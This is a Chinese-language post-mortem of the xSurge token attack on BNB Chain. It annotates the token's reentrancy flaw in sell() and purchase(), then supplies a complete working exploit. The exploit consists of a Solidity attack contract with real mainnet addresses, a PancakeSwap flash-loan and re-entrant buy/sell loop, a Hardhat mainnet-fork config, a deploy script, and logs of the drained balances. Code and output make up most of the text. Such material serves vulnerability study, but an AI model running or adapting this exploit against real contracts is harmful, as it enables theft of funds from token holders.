[经典攻击事件分析]xSurge事件中的重入漏洞+套利的完美组合利用

/** Purchases SURGE Tokens and Deposits Them in Sender's Address*/
// 利用关键点3：这里调用了mint时，balance还是没有减之前的，所以mint出来的肯定会多一些。
    function purchase(address buyer, uint256 bnbAmount) internal returns (bool) {
        // make sure we don't buy more than the bnb in this contract
        require(bnbAmount <= address(this).balance, 'purchase not included in balance');
        // previous amount of BNB before we received any
        uint256 prevBNBAmount = (address(this).balance).sub(bnbAmount);
        // if this is the first purchase, use current balance
        prevBNBAmount = prevBNBAmount == 0 ? address(this).balance : prevBNBAmount;
        // find the number of tokens we should mint to keep up with the current price
        uint256 nShouldPurchase = hyperInflatePrice ? _totalSupply.mul(bnbAmount).div(address(this).balance) : _totalSupply.mul(bnbAmount).div(prevBNBAmount);
        // apply our spread to tokens to inflate price relative to total supply
        uint256 tokensToSend = nShouldPurchase.mul(spreadDivisor).div(10**2);
        // revert if under 1
        if (tokensToSend < 1) {
            revert('Must Buy More Than One Surge');
        }

        // mint the tokens we need to the buyer
        mint(buyer, tokensToSend);  **// 到这里就成功了。**
        emit Transfer(address(this), buyer, tokensToSend);
        return true;
    }

    /** Sells SURGE Tokens And Deposits the BNB into Seller's Address */
    function sell(uint256 tokenAmount) public nonReentrant returns (bool) {

        address seller = msg.sender;

        // make sure seller has this balance
        require(_balances[seller] >= tokenAmount, 'cannot sell above token amount');

        // calculate the sell fee from this transaction
        uint256 tokensToSwap = tokenAmount.mul(sellFee).div(10**2);

        // how much BNB are these tokens worth?
        uint256 amountBNB = tokensToSwap.mul(calculatePrice());

        // 利用关键点1：漏洞地方，在call中程序的控制权被转移到攻击者手里。但是在攻击balance的数量却还没有少
        (bool successful,) = payable(seller).call{value: amountBNB, gas: 40000}("");
        if (successful) {
            // subtract full amount from sender，在这里才开始减掉balance的数量
            _balances[seller] = _balances[seller].sub(tokenAmount, 'sender does not have this amount to sell');
            // if successful, remove tokens from supply
            _totalSupply = _totalSupply.sub(tokenAmount);
        } else {
            revert();
        }
        emit Transfer(seller, address(this), tokenAmount);
        return true;
    }

// 利用关键点2：攻击合约得到程序控制权后，直接向xsurge合约进行转账，从而触发xsurge合约的receive函数的调用。这里会调用purchase函数
receive() external payable {
        uint256 val = msg.value;
        address buyer = msg.sender;
        purchase(buyer, val);
    }

// 计算xsurge的价格，xsurge价格=this.balance/_totalSupply
    function calculatePrice() public view returns (uint256) {
        return ((address(this).balance).div(_totalSupply));
    }

2 times sell
cur price:40431697 = quantity(23614362876275166045082) / _totalSupply(584055694626796)

[recevie ]AttackContract xsurge balance:290602026064411, BNB balance
 11044561081497012206562
3 times sell
cur price:30436844 = quantity(23614362876275166045082) / _totalSupply(775847945216500)

[recevie ]AttackContract xsurge balance:482394273111949, BNB balance
 13801605682969677247808
4 times sell
cur price:17900419 = quantity(23614362876275166045082) / _totalSupply(1319207269744644)

[recevie ]AttackContract xsurge balance:1025753540789277, BNB balance
 17259733080609943264480
5 times sell
cur price:6449277 = quantity(23614362876275166045082) / _totalSupply(3661551965635088)
…………

import { HardhatUserConfig } from "hardhat/config";
import "@nomicfoundation/hardhat-toolbox";

const config: HardhatUserConfig = {
  solidity: {
    version: "0.8.8",
    settings: {
      optimizer: {
        enabled: true,
        runs: 200,
      },
    },
  },
  networks: {
    hardhat: {
      forking: {
        // url: "https://speedy-nodes-nyc.moralis.io/*******/bsc/mainnet/archive",
        // url: "https://eth-mainnet.alchemyapi.io/v2/*******",
        url: "https://falling-wandering-river.bsc.discover.quiknode.pro/*******/",
        // 	10087724  19381696
        blockNumber: 10087723,
      },
      loggingEnabled: false,
      gas: 20_000_000,
    }
  }
};

export default config;

npx hardhat run scripts/deploy.ts --network hardhat

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./interfaces/Uniswap.sol";
import "hardhat/console.sol";
import "./IXsurge.sol";
import "./interfaces/IWBNB.sol";
interface IPancakeCallee {
    function pancakeCall(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
contract Attack is IPancakeCallee, Ownable{
    address private constant UniswapV2Factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;

    address private constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
    address private constant PancakeToken= 0x0E09FaBB73Bd3Ade0a17ECC321fD13a19e81cE82;
    address private constant PancakeFactory = 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73;
    address private constant PanckaePair = 0x0eD7e52944161450477ee417DE9Cd3a859b14fD0;
    address private constant surgeTokenAddr = 0xE1E1Aa58983F6b8eE8E4eCD206ceA6578F036c21;

    uint256 curSellNumber = 0;
    uint256 constant maxSellNumber = 8;
    constructor(){

    }
    fallback() external {}
    receive() payable external {
        if(msg.sender==surgeTokenAddr && curSellNumber<=maxSellNumber-1){
            console.log("[recevie()]AttackContract xsurge balance:%s, BNB balance:%s",
                        ISurgeToken(payable(surgeTokenAddr)).balanceOf(address(this)),
                        address(this).balance);
            uint256 hackContractXsurge = IERC20(surgeTokenAddr).balanceOf(address(this));
            payable(surgeTokenAddr).call{value:address(this).balance}(""); // 向xSurge转入BNB，再次买入xSurge
        }
    }

    function  startAttack(address _tokenBorrow, uint256 _amount) public onlyOwner {

        address pair = IUniswapV2Factory(PancakeFactory).getPair(_tokenBorrow, PancakeToken);
        require(pair!=address(0), "the pair _tokenBorrow is not exist...");
        address token0 = IUniswapV2Pair(pair).token0();
        address token1 = IUniswapV2Pair(pair).token1();
        uint256 amount0Out = _tokenBorrow==token0 ? _amount : 0;
        uint256 amount1Out = _tokenBorrow== token1 ? _amount : 0;
        bytes memory data = abi.encode(_tokenBorrow, _amount);
        IUniswapV2Pair(pair).swap(amount0Out, amount1Out, address(this), data);
    }

    function pancakeCall(address _sender, uint amount0, uint amount1, bytes calldata _data) external override{
        address token0 = IUniswapV2Pair(msg.sender).token0();
        address token1 = IUniswapV2Pair(msg.sender).token1();
        // call uniswapv2factory to getpair
        address pair = IUniswapV2Factory(PancakeFactory).getPair(token0, token1);
        require(msg.sender == pair, "!pair");
        // check sender holds the address who initiated the flash loans
        require(_sender == address(this), "!sender");

        (address tokenBorrow, uint amount) = abi.decode(_data, (address, uint));
        uint256 price = ISurgeToken(payable(surgeTokenAddr)).calculatePrice();
        // console.log("price:", price); //46394463

        console.log("Attack WBNB blance:%s, xsurge balance:%s, balance:%s",
                    IERC20(WBNB).balanceOf(address(this)),
                    IERC20(surgeTokenAddr).balanceOf(address(this)),
                    address(this).balance);
        // 将从闪电贷中得到的10000 WBNB转化成自身的 BNB
        console.log("AttackContract get %s WBNB to BNB", amount);
        IWBNB(payable(WBNB)).withdraw(amount);
        console.log("Attack WBNB blance:%s, xsurge balance:%s, balance:%s",
                    IERC20(WBNB).balanceOf(address(this)),
                    IERC20(surgeTokenAddr).balanceOf(address(this)),
                    address(this).balance);
        // 将自身从闪电贷中的得到的WBNB，转化成BNB后，充值给xSurgerToken.
        console.log("AttackContract send %s BNB to xSurgeToken", amount);
        payable(surgeTokenAddr).call{value:amount}("");
        console.log("[Before]AttackContract WBNB blance:%s, xsurge balance:%s, balance:%s",
                    IERC20(WBNB).balanceOf(address(this)),
                    IERC20(surgeTokenAddr).balanceOf(address(this)),
                    address(this).balance);

        // 将得到的xSurge sell掉，在调用xSurge的sell方法时，sell方法的call会将程序控制权交到attackContract的receiver回调函数中。
        curSellNumber = 1;
        uint256 hackContractXsurge = IERC20(surgeTokenAddr).balanceOf(address(this));
        // console.log("hackContractXsurge count:", hackContractXsurge);
        console.log("%s times sell", curSellNumber);
        uint256 xSurgeTokenBnbQuantity = ISurgeToken(payable(surgeTokenAddr)).getBNBQuantityInContract();
        console.log("cur price:%s = quantity(%s) / _totalSupply(%s)",
                        price,
                        xSurgeTokenBnbQuantity,
                        xSurgeTokenBnbQuantity/price);
        ISurgeToken(payable(surgeTokenAddr)).sell(hackContractXsurge);

        // 将上面的方法连续调用多次。
        curSellNumber++;
        for (; curSellNumber<=maxSellNumber; curSellNumber++) {
            uint256 curPrice = ISurgeToken(payable(surgeTokenAddr)).calculatePrice();
            xSurgeTokenBnbQuantity = ISurgeToken(payable(surgeTokenAddr)).getBNBQuantityInContract();
            console.log("%s times sell",
                        curSellNumber);
            console.log("cur price:%s = quantity(%s) / _totalSupply(%s)",
                        curPrice,
                        xSurgeTokenBnbQuantity,
                        xSurgeTokenBnbQuantity/curPrice);
            hackContractXsurge = IERC20(surgeTokenAddr).balanceOf(address(this));
            //　每次sell时，控制权会来到receive函数中，在receive中向xSurgeToken转入BNB买入xSurge
            ISurgeToken(payable(surgeTokenAddr)).sell(hackContractXsurge);
        }
        console.log("[After loop]AttackContract xsurge balance:%s, BNB balance:%s",
                        ISurgeToken(payable(surgeTokenAddr)).balanceOf(address(this)),
                        address(this).balance);

        console.log("BNB-> WBNB:%s->%s",
                    address(this).balance,
                    IWBNB(payable(WBNB)).balanceOf(address(this)));
        payable(WBNB).call{value:address(this).balance}("");
        console.log("[Compelete...]BNB-> WBNB:%s->%s",
                    address(this).balance,
                    IWBNB(payable(WBNB)).balanceOf(address(this)));
        // 归还闪电贷。0.3% fees
        uint fee = ((amount * 3) / 997) + 1;
        uint amountToRepay = amount + fee;
        console.log("return %s WBNB(amountToRepay:%s) flashloan...Cur constract WBNB balance:%s\n",
                    amount/1 ether,
                    amountToRepay/1 ether,
                    IERC20(WBNB).balanceOf(address(this))/1 ether);
        IERC20(tokenBorrow).transfer(pair, amountToRepay);

        console.log("[Filnal...]AttackContract WBNB blance:%s, xsurge balance:%s, balance:%s\n",
                    IERC20(WBNB).balanceOf(address(this))/1 ether,
                    IERC20(surgeTokenAddr).balanceOf(address(this)),
                    address(this).balance);

    }
}

import { ethers } from "hardhat";
import hre from "hardhat";
import "@nomicfoundation/hardhat-chai-matchers";
import { BigNumber } from "ethers";

async function main() {

  const ERC20ABI = require("@uniswap/v2-core/build/ERC20.json").abi;
  const WBNB = "0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c";
  const XSurgeTokenAddr = "0xE1E1Aa58983F6b8eE8E4eCD206ceA6578F036c21";

  let borrowAmount = ethers.BigNumber.from("10000000000000000000000"); // 使用10000个BNB攻击
  // let borrowAmount = ethers.BigNumber.from("2000000000000000000000"); // 2000个BNB
  // let borrowAmount = ethers.BigNumber.from("1000000000000000000000"); // 1000个BNB,可用来模拟入不敷出的场景

  // 1.部署AttackContract
  const Attack = await ethers.getContractFactory("Attack");
  var attackContract = await Attack.deploy();
  await attackContract.deployed();

  var Alice;
  [Alice] =await hre.ethers.getSigners();
  // 2.调用攻击合约的闪电贷
  const WBNBContract = new ethers.Contract(WBNB, ERC20ABI, Alice);
  const XSurgeContract = new ethers.Contract(XSurgeTokenAddr, ERC20ABI, Alice);

  console.log("[Before Attack.....]AttackContract xsurge balance:%s ether, WBNB balance:%s ether, BNB balance:%s ether\n",
              ethers.utils.formatEther(await XSurgeContract.balanceOf(attackContract.address)),
              ethers.utils.formatEther(await WBNBContract.balanceOf(attackContract.address)),
              ethers.utils.formatEther(await attackContract.provider.getBalance(attackContract.address)));

  console.log("attackContract startAttack flahloan.....");
  await attackContract.startAttack(WBNB, borrowAmount);
}

main().catch((error) => {
  console.error(error);
  process.exitCode = 1;
});

function sell(uint256 tokenAmount) public nonReentrant returns (bool) {

        address seller = msg.sender;
        ……………………
        (bool successful,) = payable(seller).call{value: amountBNB, gas: 40000}("");
        if (successful) {
            _balances[seller] = _balances[seller].sub(tokenAmount, 'sender does not have this amount to sell');
            _totalSupply = _totalSupply.sub(tokenAmount);
        } else {
            revert();
        }
    }

7 times sell, cur price:87868
[recevie ]AttackContract xsurge balance:268451834133810277, BNB balance
 22173026215969462900880
8 times sell, cur price:6075
[recevie ]AttackContract xsurge balance:3886227754608511667, BNB balance
 22192303592691905868450
9 times sell, cur price:414
[recevie ]AttackContract xsurge balance:57012958598099436221, BNB balance
 22187162968036376599458
10 times sell, cur price:28
[recevie ]AttackContract xsurge balance:833145075801540780287, BNB balance
 21928378395096553337132
11 times sell
[recevie ]AttackContract xsurge balance:0, BNB balance
 19149587866837346185250